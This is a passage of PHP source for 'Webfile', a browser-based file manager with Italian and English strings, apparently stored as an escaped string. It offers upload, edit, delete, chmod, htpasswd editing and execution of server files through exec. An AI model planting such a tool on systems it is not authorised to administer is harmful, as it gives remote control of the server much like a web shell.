ereg('\\.php\$|\\.php3\$|\\.php4\$|\\.php5\$', \$filename);\r\n}\r\n\r\nfunction getmimetype (\$filename) {\r\n\tstatic \$mimes = array(\r\n\t\t'\\.jpg\$|\\.jpeg\$' => 'image/jpeg',\r\n\t\t'\\.gif\$' => 'image/gif',\r\n\t\t'\\.png\$' => 'image/png',\r\n\t\t'\\.html\$|\\.html\$' => 'text/html',\r\n\t\t'\\.txt\$|\\.asc\$' => 'text/plain',\r\n\t\t'\\.xml\$|\\.xsl\$' => 'application/xml',\r\n\t\t'\\.pdf\$' => 'application/pdf'\r\n\t);\r\n\r\n\tforeach (\$mimes as \$regex => \$mime) {\r\n\t\tif (eregi(\$regex, \$filename)) return \$mime;\r\n\t}\r\n\r\n\t// return 'application/octet-stream';\r\n\treturn 'text/plain';\r\n\r\n}\r\n\r\nfunction del (\$file) {\r\n\tglobal \$delim;\r\n\r\n\tif (!@is_link(\$file) && !file_exists(\$file)) return false;\r\n\r\n\tif (!@is_link(\$file) && @is_dir(\$file)) {\r\n\r\n\t\tif (\$dir = @opendir(\$file)) {\r\n\r\n\t\t\t\$error = false;\r\n\r\n\t\t\twhile ((\$f = readdir(\$dir)) !== false) {\r\n\t\t\t\tif (\$f != '.' && \$f != '..' && !del(\$file . \$delim . \$f)) {\r\n\t\t\t\t\t\$error = true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tclosedir(\$dir);\r\n\r\n\t\t\tif (!\$error) return @rmdir(\$file);\r\n\r\n\t\t\treturn !\$error;\r\n\r\n\t\t} else {\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t} else {\r\n\t\treturn @unlink(\$file);\r\n\t}\r\n\r\n}\r\n\r\nfunction addslash (\$directory) {\r\n\tglobal \$delim;\r\n\r\n\tif (substr(\$directory, -1, 1) != \$delim) {\r\n\t\treturn \$directory . \$delim;\r\n\t} else {\r\n\t\treturn \$directory;\r\n\t}\r\n\r\n}\r\n\r\nfunction relative2absolute (\$string, \$directory) {\r\n\r\n\tif (path_is_relative(\$string)) {\r\n\t\treturn simplify_path(addslash(\$directory) . \$string);\r\n\t} else {\r\n\t\treturn simplify_path(\$string);\r\n\t}\r\n\r\n}\r\n\r\nfunction path_is_relative (\$path) {\r\n\tglobal \$win;\r\n\r\n\tif (\$win) {\r\n\t\treturn (substr(\$path, 1, 1) != ':');\r\n\t} else {\r\n\t\treturn (substr(\$path, 0, 1) != '/');\r\n\t}\r\n\r\n}\r\n\r\nfunction absolute2relative (\$directory, \$target) {\r\n\tglobal \$delim;\r\n\r\n\t\$path = '';\r\n\twhile (\$directory != \$target) {\r\n\t\tif (\$directory == substr(\$target, 0, strlen(\$directory))) {\r\n\t\t\t\$path .= substr(\$target, strlen(\$directory));\r\n\t\t\tbreak;\r\n\t\t} else {\r\n\t\t\t\$path .= '..' . \$delim;\r\n\t\t\t\$directory = substr(\$directory, 0, strrpos(substr(\$directory, 0, -1), \$delim) + 1);\r\n\t\t}\r\n\t}\r\n\tif (\$path == '') \$path = '.';\r\n\r\n\treturn \$path;\r\n\r\n}\r\n\r\nfunction simplify_path (\$path) {\r\n\tglobal \$delim;\r\n\r\n\tif (@file_exists(\$path) && function_exists('realpath') && @realpath(\$path) != '') {\r\n\t\t\$path = realpath(\$path);\r\n\t\tif (@is_dir(\$path)) {\r\n\t\t\treturn addslash(\$path);\r\n\t\t} else {\r\n\t\t\treturn \$path;\r\n\t\t}\r\n\t}\r\n\r\n\t\$pattern = \$delim . '.' . \$delim;\r\n\r\n\tif (@is_dir(\$path)) {\r\n\t\t\$path = addslash(\$path);\r\n\t}\r\n\r\n\twhile (strpos(\$path, \$pattern) !== false) {\r\n\t\t\$path = str_replace(\$pattern, \$delim, \$path);\r\n\t}\r\n\r\n\t\$e = addslashes(\$delim);\r\n\t\$regex = \$e . '((\\.[^\\.' . \$e . '][^' . \$e . ']*)|(\\.\\.[^' . \$e . ']+)|([^\\.][^' . \$e . ']*))' . \$e . '\\.\\.' . \$e;\r\n\r\n\twhile (ereg(\$regex, \$path)) {\r\n\t\t\$path = ereg_replace(\$regex, \$delim, \$path);\r\n\t}\r\n\t\r\n\treturn \$path;\r\n\r\n}\r\n\r\nfunction human_filesize (\$filesize) {\r\n\r\n\t\$suffices = 'kMGTPE';\r\n\r\n\t\$n = 0;\r\n\twhile (\$filesize >= 1000) {\r\n\t\t\$filesize /= 1024;\r\n\t\t\$n++;\r\n\t}\r\n\r\n\t\$filesize = round(\$filesize, 3 - strpos(\$filesize, '.'));\r\n\r\n\tif (strpos(\$filesize, '.') !== false) {\r\n\t\twhile (in_array(substr(\$filesize, -1, 1), array('0', '.'))) {\r\n\t\t\t\$filesize = substr(\$filesize, 0, strlen(\$filesize) - 1);\r\n\t\t}\r\n\t}\r\n\r\n\t\$suffix = ((\$n == 0) ? '' : substr(\$suffices, \$n - 1, 1));\r\n\r\n\treturn \$filesize . \" {\$suffix}B\";\r\n\r\n}\r\n\r\nfunction strip (&\$str) {\r\n\t\$str = stripslashes(\$str);\r\n}\r\n\r\n/* ------------------------------------------------------------------------- */\r\n\r\nfunction listing_page (\$message = null) {\r\n\tglobal \$self, \$directory, \$sort, \$reverse;\r\n\r\n\thtml_header();\r\n\r\n\t\$list = getlist(\$directory);\r\n\r\n\tif (array_key_exists('sort', \$_GET)) \$sort = \$_GET['sort']; else \$sort = 'filename';\r\n\tif (array_key_exists('reverse', \$_GET) && \$_GET['reverse'] == 'true') \$reverse = true; else \$reverse = false;\r\n\r\n\tsortlist(\$list, \$sort, \$reverse);\r\n\r\n\techo '<h1 style=\"margin-bottom: 0\">Webfile</h1>\r\n\r\n<form enctype=\"multipart/form-data\" action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table id=\"main\">\r\n';\r\n\r\n\tdirectory_choice();\r\n\r\n\tif (!empty(\$message)) {\r\n\t\tspacer();\r\n\t\techo \$message;\r\n\t}\r\n\r\n\tif (@is_writable(\$directory)) {\r\n\t\tupload_box();\r\n\t\tcreate_box();\r\n\t} else {\r\n\t\tspacer();\r\n\t}\r\n\r\n\tif (\$list) {\r\n\t\tlisting(\$list);\r\n\t} else {\r\n\t\techo error('not_readable', \$directory);\r\n\t}\r\n\r\n\techo '</table>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\thtml_footer();\r\n\r\n}\r\n\r\nfunction listing (\$list) {\r\n\tglobal \$directory, \$homedir, \$sort, \$reverse, \$win, \$cols, \$date_format, \$self;\r\n\r\n\techo '<tr class=\"listing\">\r\n\t<th style=\"text-align: center; vertical-align: middle\"><img src=\"' . \$self . '?image=smiley\" alt=\"smiley\" /></th>\r\n';\r\n\r\n\t\$d = 'dir=' . urlencode(\$directory) . '&';\r\n\r\n\tif (!\$reverse && \$sort == 'filename') \$r = '&reverse=true'; else \$r = '';\r\n\techo \"\\t<th class=\\\"filename\\\"><a href=\\\"\$self?{\$d}sort=filename\$r\\\">\" . word('filename') . \"</a></th>\\\r\n\";\r\n\r\n\tif (!\$reverse && \$sort == 'size') \$r = '&reverse=true'; else \$r = '';\r\n\techo \"\\t<th class=\\\"size\\\"><a href=\\\"\$self?{\$d}sort=size\$r\\\">\" . word('size') . \"</a></th>\\\r\n\";\r\n\r\n\tif (!\$win) {\r\n\r\n\t\tif (!\$reverse && \$sort == 'permission') \$r = '&reverse=true'; else \$r = '';\r\n\t\techo \"\\t<th class=\\\"permission_header\\\"><a href=\\\"\$self?{\$d}sort=permission\$r\\\">\" . word('permission') . \"</a></th>\\\r\n\";\r\n\r\n\t\tif (!\$reverse && \$sort == 'owner') \$r = '&reverse=true'; else \$r = '';\r\n\t\techo \"\\t<th class=\\\"owner\\\"><a href=\\\"\$self?{\$d}sort=owner\$r\\\">\" . word('owner') . \"</a></th>\\\r\n\";\r\n\r\n\t\tif (!\$reverse && \$sort == 'group') \$r = '&reverse=true'; else \$r = '';\r\n\t\techo \"\\t<th class=\\\"group\\\"><a href=\\\"\$self?{\$d}sort=group\$r\\\">\" . word('group') . \"</a></th>\\\r\n\";\r\n\r\n\t}\r\n\r\n\techo '\t<th class=\"functions\">' . word('functions') . '</th>\r\n</tr>\r\n';\r\n\r\n\tfor (\$i = 0; \$i < sizeof(\$list); \$i++) {\r\n\t\t\$file = \$list[\$i];\r\n\r\n\t\t\$timestamps = 'mtime: ' . date(\$date_format, \$file['mtime']) . ', ';\r\n\t\t\$timestamps .= 'atime: ' . date(\$date_format, \$file['atime']) . ', ';\r\n\t\t\$timestamps .= 'ctime: ' . date(\$date_format, \$file['ctime']);\r\n\r\n\t\techo '<tr class=\"listing\">\r\n\t<td class=\"checkbox\"><input type=\"checkbox\" name=\"checked' . \$i . '\" value=\"true\" onfocus=\"activate(\\'other\\')\" /></td>\r\n\t<td class=\"filename\" title=\"' . html(\$timestamps) . '\">';\r\n\r\n\t\tif (\$file['is_link']) {\r\n\r\n\t\t\techo '<img src=\"' . \$self . '?image=link\" alt=\"link\" /> ';\r\n\t\t\techo html(\$file['filename']) . ' → ';\r\n\r\n\t\t\t\$real_file = relative2absolute(\$file['target'], \$directory);\r\n\r\n\t\t\tif (@is_readable(\$real_file)) {\r\n\t\t\t\tif (@is_dir(\$real_file)) {\r\n\t\t\t\t\techo '[ <a href=\"' . \$self . '?dir=' . urlencode(\$real_file) . '\">' . html(\$file['target']) . '</a> ]';\r\n\t\t\t\t} else {\r\n\t\t\t\t\techo '<a href=\"' . \$self . '?action=view&file=' . urlencode(\$real_file) . '\">' . html(\$file['target']) . '</a>';\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\techo html(\$file['target']);\r\n\t\t\t}\r\n\r\n\t\t} elseif (\$file['is_dir']) {\r\n\r\n\t\t\techo '<img src=\"' . \$self . '?image=folder\" alt=\"folder\" /> [ ';\r\n\t\t\tif (\$win || \$file['is_executable']) {\r\n\t\t\t\techo '<a href=\"' . \$self . '?dir=' . urlencode(\$file['path']) . '\">' . html(\$file['filename']) . '</a>';\r\n\t\t\t} else {\r\n\t\t\t\techo html(\$file['filename']);\r\n\t\t\t}\r\n\t\t\techo ' ]';\r\n\r\n\t\t} else {\r\n\r\n\t\t\tif (substr(\$file['filename'], 0, 1) == '.') {\r\n\t\t\t\techo '<img src=\"' . \$self . '?image=hidden_file\" alt=\"hidden file\" /> ';\r\n\t\t\t} else {\r\n\t\t\t\techo '<img src=\"' . \$self . '?image=file\" alt=\"file\" /> ';\r\n\t\t\t}\r\n\r\n\t\t\tif (\$file['is_file'] && \$file['is_readable']) {\r\n\t\t\t echo '<a href=\"' . \$self . '?action=view&file=' . urlencode(\$file['path']) . '\">' . html(\$file['filename']) . '</a>';\r\n\t\t\t} else {\r\n\t\t\t\techo html(\$file['filename']);\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t\tif (\$file['size'] >= 1000) {\r\n\t\t\t\$human = ' title=\"' . human_filesize(\$file['size']) . '\"';\r\n\t\t} else {\r\n\t\t\t\$human = '';\r\n\t\t}\r\n\r\n\t\techo \"\\t<td class=\\\"size\\\"\$human>{\$file['size']} B</td>\\\r\n\";\r\n\r\n\t\tif (!\$win) {\r\n\r\n\t\t\techo \"\\t<td class=\\\"permission\\\" title=\\\"\" . decoct(\$file['permission']) . '\">';\r\n\r\n\t\t\t\$l = !\$file['is_link'] && (!function_exists('posix_getuid') || \$file['owner'] == posix_getuid());\r\n\t\t\tif (\$l) echo '<a href=\"' . \$self . '?action=permission&file=' . urlencode(\$file['path']) . '&dir=' . urlencode(\$directory) . '\">';\r\n\t\t\techo html(permission_octal2string(\$file['permission']));\r\n\t\t\tif (\$l) echo '</a>';\r\n\r\n\t\t\techo \"</td>\\\r\n\";\r\n\r\n\t\t\tif (array_key_exists('owner_name', \$file)) {\r\n\t\t\t\techo \"\\t<td class=\\\"owner\\\" title=\\\"uid: {\$file['owner']}\\\">{\$file['owner_name']}</td>\\\r\n\";\r\n\t\t\t} else {\r\n\t\t\t\techo \"\\t<td class=\\\"owner\\\">{\$file['owner']}</td>\\\r\n\";\r\n\t\t\t}\r\n\r\n\t\t\tif (array_key_exists('group_name', \$file)) {\r\n\t\t\t\techo \"\\t<td class=\\\"group\\\" title=\\\"gid: {\$file['group']}\\\">{\$file['group_name']}</td>\\\r\n\";\r\n\t\t\t} else {\r\n\t\t\t\techo \"\\t<td class=\\\"group\\\">{\$file['group']}</td>\\\r\n\";\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t\techo '\t<td class=\"functions\">\r\n\t\t<input type=\"hidden\" name=\"file' . \$i . '\" value=\"' . html(\$file['path']) . '\" />\r\n';\r\n\r\n\t\t\$actions = array();\r\n\t\tif (function_exists('symlink')) {\r\n\t\t\t\$actions[] = 'create_symlink';\r\n\t\t}\r\n\t\tif (@is_writable(dirname(\$file['path']))) {\r\n\t\t\t\$actions[] = 'delete';\r\n\t\t\t\$actions[] = 'rename';\r\n\t\t\t\$actions[] = 'move';\r\n\t\t}\r\n\t\tif (\$file['is_file'] && \$file['is_readable']) {\r\n\t\t\t\$actions[] = 'copy';\r\n\t\t\t\$actions[] = 'download';\r\n\t\t\tif (\$file['is_writable']) \$actions[] = 'edit';\r\n\t\t}\r\n\t\tif (!\$win && function_exists('exec') && \$file['is_file'] && \$file['is_executable'] && file_exists('/bin/sh')) {\r\n\t\t\t\$actions[] = 'execute';\r\n\t\t}\r\n\r\n\t\tif (sizeof(\$actions) > 0) {\r\n\r\n\t\t\techo '\t\t<select class=\"small\" name=\"action' . \$i . '\" size=\"1\">\r\n\t\t<option value=\"\">' . str_repeat(' ', 30) . '</option>\r\n';\r\n\r\n\t\t\tforeach (\$actions as \$action) {\r\n\t\t\t\techo \"\\t\\t<option value=\\\"\$action\\\">\" . word(\$action) . \"</option>\\\r\n\";\r\n\t\t\t}\r\n\r\n\t\t\techo '\t\t</select>\r\n\t\t<input class=\"small\" type=\"submit\" name=\"submit' . \$i . '\" value=\" > \" onfocus=\"activate(\\'other\\')\" />\r\n';\r\n\r\n\t\t}\r\n\r\n\t\techo '\t</td>\r\n</tr>\r\n';\r\n\r\n\t}\r\n\r\n\techo '<tr class=\"listing_footer\">\r\n\t<td style=\"text-align: right; vertical-align: top\"><img src=\"' . \$self . '?image=arrow\" alt=\">\" /></td>\r\n\t<td colspan=\"' . (\$cols - 1) . '\">\r\n\t\t<input type=\"hidden\" name=\"num\" value=\"' . sizeof(\$list) . '\" />\r\n\t\t<input type=\"hidden\" name=\"focus\" value=\"\" />\r\n\t\t<input type=\"hidden\" name=\"olddir\" value=\"' . html(\$directory) . '\" />\r\n';\r\n\r\n\t\$actions = array();\r\n\tif (@is_writable(dirname(\$file['path']))) {\r\n\t\t\$actions[] = 'delete';\r\n\t\t\$actions[] = 'move';\r\n\t}\r\n\t\$actions[] = 'copy';\r\n\r\n\techo '\t\t<select class=\"small\" name=\"action_all\" size=\"1\">\r\n\t\t<option value=\"\">' . str_repeat(' ', 30) . '</option>\r\n';\r\n\r\n\tforeach (\$actions as \$action) {\r\n\t\techo \"\\t\\t<option value=\\\"\$action\\\">\" . word(\$action) . \"</option>\\\r\n\";\r\n\t}\r\n\r\n\techo '\t\t</select>\r\n\t\t<input class=\"small\" type=\"submit\" name=\"submit_all\" value=\" > \" onfocus=\"activate(\\'other\\')\" />\r\n\t</td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\nfunction directory_choice () {\r\n\tglobal \$directory, \$homedir, \$cols, \$self;\r\n\r\n\techo '<tr>\r\n\t<td colspan=\"' . \$cols . '\" id=\"directory\">\r\n\t\t<a href=\"' . \$self . '?dir=' . urlencode(\$homedir) . '\">' . word('directory') . '</a>:\r\n\t\t<input type=\"text\" name=\"dir\" size=\"' . textfieldsize(\$directory) . '\" value=\"' . html(\$directory) . '\" onfocus=\"activate(\\'directory\\')\" />\r\n\t\t<input type=\"submit\" name=\"changedir\" value=\"' . word('change') . '\" onfocus=\"activate(\\'directory\\')\" />\r\n\t</td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\nfunction upload_box () {\r\n\tglobal \$cols;\r\n\r\n\techo '<tr>\r\n\t<td colspan=\"' . \$cols . '\" id=\"upload\">\r\n\t\t' . word('file') . ':\r\n\t\t<input type=\"file\" name=\"upload\" onfocus=\"activate(\\'other\\')\" />\r\n\t\t<input type=\"submit\" name=\"submit_upload\" value=\"' . word('upload') . '\" onfocus=\"activate(\\'other\\')\" />\r\n\t</td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\nfunction create_box () {\r\n\tglobal \$cols;\r\n\r\n\techo '<tr>\r\n\t<td colspan=\"' . \$cols . '\" id=\"create\">\r\n\t\t<select name=\"create_type\" size=\"1\" onfocus=\"activate(\\'create\\')\">\r\n\t\t<option value=\"file\">' . word('file') . '</option>\r\n\t\t<option value=\"directory\">' . word('directory') . '</option>\r\n\t\t</select>\r\n\t\t<input type=\"text\" name=\"create_name\" onfocus=\"activate(\\'create\\')\" />\r\n\t\t<input type=\"submit\" name=\"submit_create\" value=\"' . word('create') . '\" onfocus=\"activate(\\'create\\')\" />\r\n\t</td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\nfunction edit (\$file) {\r\n\tglobal \$self, \$directory, \$editcols, \$editrows, \$apache, \$htpasswd, \$htaccess;\r\n\r\n\thtml_header();\r\n\r\n\techo '<h2 style=\"margin-bottom: 3pt\">' . html(\$file) . '</h2>\r\n\r\n<form action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table class=\"dialog\">\r\n<tr>\r\n<td class=\"dialog\">\r\n\r\n\t<textarea name=\"content\" cols=\"' . \$editcols . '\" rows=\"' . \$editrows . '\" WRAP=\"off\">';\r\n\r\n\tif (array_key_exists('content', \$_POST)) {\r\n\t\techo \$_POST['content'];\r\n\t} else {\r\n\t\t\$f = fopen(\$file, 'r');\r\n\t\twhile (!feof(\$f)) {\r\n\t\t\techo html(fread(\$f, 8192));\r\n\t\t}\r\n\t\tfclose(\$f);\r\n\t}\r\n\r\n\tif (!empty(\$_POST['user'])) {\r\n\t\techo \"\\\r\n\" . \$_POST['user'] . ':' . crypt(\$_POST['password']);\r\n\t}\r\n\tif (!empty(\$_POST['basic_auth'])) {\r\n\t\tif (\$win) {\r\n\t\t\t\$authfile = str_replace('\\\\', '/', \$directory) . \$htpasswd;\r\n\t\t} else {\r\n\t\t\t\$authfile = \$directory . \$htpasswd;\r\n\t\t}\r\n\t\techo \"\\\r\nAuthType Basic\\\r\nAuthName "Restricted Directory"\\\r\n\";\r\n\t\techo 'AuthUserFile "' . html(\$authfile) . \""\\\r\n\";\r\n\t\techo 'Require valid-user';\r\n\t}\r\n\r\n\techo '</textarea>\r\n\r\n\t<hr />\r\n';\r\n\r\n\tif (\$apache && basename(\$file) == \$htpasswd) {\r\n\t\techo '\r\n\t' . word('user') . ': <input type=\"text\" name=\"user\" />\r\n\t' . word('password') . ': <input type=\"password\" name=\"password\" />\r\n\t<input type=\"submit\" value=\"' . word('add') . '\" />\r\n\r\n\t<hr />\r\n';\r\n\r\n\t}\r\n\r\n\tif (\$apache && basename(\$file) == \$htaccess) {\r\n\t\techo '\r\n\t<input type=\"submit\" name=\"basic_auth\" value=\"' . word('add_basic_auth') . '\" />\r\n\r\n\t<hr />\r\n';\r\n\r\n\t}\r\n\r\n\techo '\r\n\t<input type=\"hidden\" name=\"action\" value=\"edit\" />\r\n\t<input type=\"hidden\" name=\"file\" value=\"' . html(\$file) . '\" />\r\n\t<input type=\"hidden\" name=\"dir\" value=\"' . html(\$directory) . '\" />\r\n\t<input type=\"reset\" value=\"' . word('reset') . '\" id=\"red_button\" />\r\n\t<input type=\"submit\" name=\"save\" value=\"' . word('save') . '\" id=\"green_button\" style=\"margin-left: 50px\" />\r\n\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n<p><a href=\"' . \$self . '?dir=' . urlencode(\$directory) . '\">[ ' . word('back') . ' ]</a></p>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\thtml_footer();\r\n\r\n}\r\n\r\nfunction spacer () {\r\n\tglobal \$cols;\r\n\r\n\techo '<tr>\r\n\t<td colspan=\"' . \$cols . '\" style=\"height: 1em\"></td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\nfunction textfieldsize (\$content) {\r\n\r\n\t\$size = strlen(\$content) + 5;\r\n\tif (\$size < 30) \$size = 30;\r\n\r\n\treturn \$size;\r\n\r\n}\r\n\r\nfunction request_dump () {\r\n\r\n\tforeach (\$_REQUEST as \$key => \$value) {\r\n\t\techo \"\\t<input type=\\\"hidden\\\" name=\\\"\" . html(\$key) . '\" value=\"' . html(\$value) . \"\\\" />\\\r\n\";\r\n\t}\r\n\r\n}\r\n\r\n/* ------------------------------------------------------------------------- */\r\n\r\nfunction html (\$string) {\r\n\tglobal \$site_charset;\r\n\treturn htmlentities(\$string, ENT_COMPAT, \$site_charset);\r\n}\r\n\r\nfunction word (\$word) {\r\n\tglobal \$words, \$word_charset;\r\n\treturn htmlentities(\$words[\$word], ENT_COMPAT, \$word_charset);\r\n}\r\n\r\nfunction phrase (\$phrase, \$arguments) {\r\n\tglobal \$words;\r\n\tstatic \$search;\r\n\r\n\tif (!is_array(\$search)) for (\$i = 1; \$i <= 8; \$i++) \$search[] = \"%\$i\";\r\n\r\n\tfor (\$i = 0; \$i < sizeof(\$arguments); \$i++) {\r\n\t\t\$arguments[\$i] = nl2br(html(\$arguments[\$i]));\r\n\t}\r\n\r\n\t\$replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');\r\n\r\n\treturn str_replace(\$search, \$arguments, str_replace(array_keys(\$replace), \$replace, nl2br(html(\$words[\$phrase]))));\r\n\r\n}\r\n\r\nfunction getwords (\$lang) {\r\n\tglobal \$word_charset, \$date_format;\r\n\r\n\tswitch (\$lang) {\r\n\tcase 'it':\r\n default:\r\n\t\t\$date_format = 'd-m-Y H:i:s';\r\n\t\t\$word_charset = 'ISO-8859-1';\r\n\r\n\t\treturn array(\r\n'directory' => 'Directory',\r\n'file' => 'File',\r\n'filename' => 'Nome File',\r\n\r\n'size' => 'Dimensioni',\r\n'permission' => 'Permessi',\r\n'owner' => 'Proprietario',\r\n'group' => 'Gruppo',\r\n'other' => 'Altro',\r\n'functions' => 'Funzioni',\r\n\r\n'read' => 'leggi',\r\n'write' => 'scrivi',\r\n'execute' => 'esegui',\r\n\r\n'create_symlink' => 'crea link simbolico',\r\n'delete' => 'cancella',\r\n'rename' => 'rinomina',\r\n'move' => 'sposta',\r\n'copy' => 'copia',\r\n'edit' => 'modifica',\r\n'download' => 'download',\r\n'upload' => 'upload',\r\n'create' => 'crea',\r\n'change' => 'cambia',\r\n'save' => 'salva',\r\n'set' => 'imposta',\r\n'reset' => 'reimposta',\r\n'relative' => 'Percorso relativo per la destinazione',\r\n\r\n'yes' => 'Si',\r\n'no' => 'No',\r\n'back' => 'indietro',\r\n'destination' => 'Destinazione',\r\n'symlink' => 'Link simbolico',\r\n'no_output' => 'no output',\r\n\r\n'user' => 'User',\r\n'password' => 'Password',\r\n'add' => 'aggiungi',\r\n'add_basic_auth' => 'aggiungi autenticazione base',\r\n\r\n'uploaded' => '\"[%1]\" stato caricato.',\r\n'not_uploaded' => '\"[%1]\" non stato caricato.',\r\n'already_exists' => '\"[%1]\" esiste gi? .',\r\n'created' => '\"[%1]\" stato creato.',\r\n'not_created' => '\"[%1]\" non stato creato.',\r\n'really_delete' => 'Cancello questi file ?',\r\n'deleted' => \"Questi file sono stati cancellati:\\\r\n[%1]\",\r\n'not_deleted' => \"Questi file non possono essere cancellati:\\\r\n[%1]\",\r\n'rename_file' => 'File rinominato:',\r\n'renamed' => '\"[%1]\" stato rinominato in \"[%2]\".',\r\n'not_renamed' => '\"[%1] non stato rinominato in \"[%2]\".',\r\n'move_files' => 'Sposto questi file:',\r\n'moved' => \"Questi file sono stati spostati in \\\"[%2]\\\":\\\r\n[%1]\",\r\n'not_moved' => \"Questi file non possono essere spostati in \\\"[%2]\\\":\\\r\n[%1]\",\r\n'copy_files' => 'Copio questi file',\r\n'copied' => \"Questi file sono stati copiati in \\\"[%2]\\\":\\\r\n[%1]\",\r\n'not_copied' => \"Questi file non possono essere copiati in \\\"[%2]\\\":\\\r\n[%1]\",\r\n'not_edited' => '\"[%1]\" non pu? essere modificato.',\r\n'executed' => \"\\\"[%1]\\\" stato eseguito con successo:\\\r\n{%2}\",\r\n'not_executed' => \"\\\"[%1]\\\" non stato eseguito con successo\\\r\n{%2}\",\r\n'saved' => '\"[%1]\" stato salvato.',\r\n'not_saved' => '\"[%1]\" non stato salvato.',\r\n'symlinked' => 'Il link siambolico da \"[%2]\" a \"[%1]\" stato creato.',\r\n'not_symlinked' => 'Il link siambolico da \"[%2]\" a \"[%1]\" non stato creato.',\r\n'permission_for' => 'Permessi di \"[%1]\":',\r\n'permission_set' => 'I permessi di \"[%1]\" sono stati impostati [%2].',\r\n'permission_not_set' => 'I permessi di \"[%1]\" non sono stati impostati [%2].',\r\n'not_readable' => '\"[%1]\" non pu? essere letto.'\r\n\t\t);\r\n\r\n\tcase 'en':\r\n\r\n\t\t\$date_format = 'n/j/y H:i:s';\r\n\t\t\$word_charset = 'ISO-8859-1';\r\n\r\n\t\treturn array(\r\n'directory' => 'Directory',\r\n'file' => 'File',\r\n'filename' => 'Filename',\r\n\r\n'size' => 'Size',\r\n'permission' => 'Permission',\r\n'owner' => 'Owner',\r\n'group' => 'Group',\r\n'other' => 'Others',\r\n'functions' => 'Functions',\r\n\r\n'read' => 'read',\r\n'write' => 'write',\r\n'execute' => 'execute',\r\n\r\n'create_symlink' => 'create symlink',\r\n'delete' => 'delete',\r\n'rename' => 'rename',\r\n'move' => 'move',\r\n'copy' => 'copy',\r\n'edit' => 'edit',\r\n'download' => 'download',\r\n'upload' => 'upload',\r\n'create' => 'create',\r\n'change' => 'change',\r\n'save' => 'save',\r\n'set' => 'set',\r\n'reset' => 'reset',\r\n'relative' => 'Relative path to target',\r\n\r\n'yes' => 'Yes',\r\n'no' => 'No',\r\n'back' => 'back',\r\n'destination' => 'Destination',\r\n'symlink' => 'Symlink',\r\n'no_output' => 'no output',\r\n\r\n'user' => 'User',\r\n'password' => 'Password',\r\n'add' => 'add',\r\n'add_basic_auth' => 'add basic-authentification',\r\n\r\n'uploaded' => '\"[%1]\" has been uploaded.',\r\n'not_uploaded' => '\"[%1]\" could not be uploaded.',\r\n'already_exists' => '\"[%1]\" already exists.',\r\n'created' => '\"[%1]\" has been created.',\r\n'not_created' => '\"[%1]\" could not be created.',\r\n'really_delete' => 'Delete these files?',\r\n'deleted' => \"These files have been deleted:\\\r\n[%1]\",\r\n'not_deleted' => \"These files could not be deleted:\\\r\n[%1]\",\r\n'rename_file' => 'Rename file:',\r\n'renamed' => '\"[%1]\" has been renamed to \"[%2]\".',\r\n'not_renamed' => '\"[%1] could not be renamed to \"[%2]\".',\r\n'move_files' => 'Move these files:',\r\n'moved' => \"These files have been moved to \\\"[%2]\\\":\\\r\n[%1]\",\r\n'not_moved' => \"These files could not be moved to \\\"[%2]\\\":\\\r\n[%1]\",\r\n'copy_files' => 'Copy these files:',\r\n'copied' => \"These files have been copied to \\\"[%2]\\\":\\\r\n[%1]\",\r\n'not_copied' => \"These files could not be copied to \\\"[%2]\\\":\\\r\n[%1]\",\r\n'not_edited' => '\"[%1]\" can not be edited.',\r\n'executed' => \"\\\"[%1]\\\" has been executed successfully:\\\r\n{%2}\",\r\n'not_executed' => \"\\\"[%1]\\\" could not be executed successfully:\\\r\n{%2}\",\r\n'saved' => '\"[%1]\" has been saved.',\r\n'not_saved' => '\"[%1]\" could not be saved.',\r\n'symlinked' => 'Symlink from \"[%2]\" to \"[%1]\" has been created.',\r\n'not_symlinked' => 'Symlink from \"[%2]\" to \"[%1]\" could not be created.',\r\n'permission_for' => 'Permission of \"[%1]\":',\r\n'permission_set' => 'Permission of \"[%1]\" was set to [%2].',\r\n'permission_not_set' => 'Permission of \"[%1]\" could not be set to [%2].',\r\n'not_readable' => '\"[%1]\" can not be read.'\r\n\t\t);\r\n\r\n\t}\r\n\r\n}\r\n\r\nfunction getimage (\$image) {\r\n\tswitch (\$image) {\r\n\tcase 'file':\r\n\t\treturn base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');\r\n\tcase 'folder':\r\n\t\treturn base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');\r\n\tcase 'hidden_file':\r\n\t\treturn base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');\r\n\tcase 'link':\r\n\t\treturn base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');\r\n\tcase 'smiley':\r\n\t\treturn base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');\r\n\tcase 'arrow':\r\n\t\treturn 